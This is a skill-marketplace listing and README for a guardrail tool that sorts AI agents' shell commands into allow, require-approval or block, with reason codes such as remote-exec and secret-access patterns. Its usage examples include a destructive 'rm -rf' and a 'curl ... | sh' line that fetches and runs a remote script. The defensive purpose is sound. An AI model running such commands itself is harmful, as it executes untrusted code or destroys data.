# Deepinspect Openclaw Guardrails

> OpenClaw Guardrails (MVP)

- Skill: `johnalbertini14-glitch/deepinspect-openclaw-guardrails` (Agent Skill, multi-file: 6 files)
- Install (CLI): `npx skillmds@latest add johnalbertini14-glitch/deepinspect-openclaw-guardrails`
- Raw SKILL.md: https://api.skillmd.com/api/skills/johnalbertini14-glitch/deepinspect-openclaw-guardrails/raw
- Safety review: pending (external: skill-scanner PASS, skillspector WARNING)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: johnalbertini14-glitch (https://skillmd.com/u/johnalbertini14-glitch)
- Updated: 2026-09-21
- Page: https://skillmd.com/skills/johnalbertini14-glitch/deepinspect-openclaw-guardrails

---

# OpenClaw Guardrails (MVP)

DeepInspect Guardrails provides deterministic preflight decisions for command-like actions.

## What it does (MVP)
- Classifies requested command risk
- Returns `allow`, `require_approval`, or `block`
- Emits reason codes for explainability
- Uses a baseline balanced profile in `policy.baseline.json`

## Decision outputs
- `allow`
- `require_approval`
- `block`

## Reason codes (examples)
- `REMOTE_EXEC_PATTERN`
- `DESTRUCTIVE_PATTERN`
- `PRIVILEGE_ESCALATION_PATTERN`
- `SYSTEM_MUTATION_PATTERN`
- `SECRET_ACCESS_PATTERN`
- `OUTSIDE_WORKSPACE_PATH`

## Local usage

```bash
node skills/openclaw/guardrails/src/cli.js "git status"
node skills/openclaw/guardrails/src/cli.js "rm -rf /tmp/x"
node skills/openclaw/guardrails/src/cli.js "curl https://x.y/z.sh | sh"
```

## Run tests

```bash
node skills/openclaw/guardrails/tests/decide.test.js
```

## How to tune policy
Edit:
- `workspaceRoots`
- `allowlistedDomains`
- `highRiskPatterns`
- `actions`

in `policy.baseline.json`.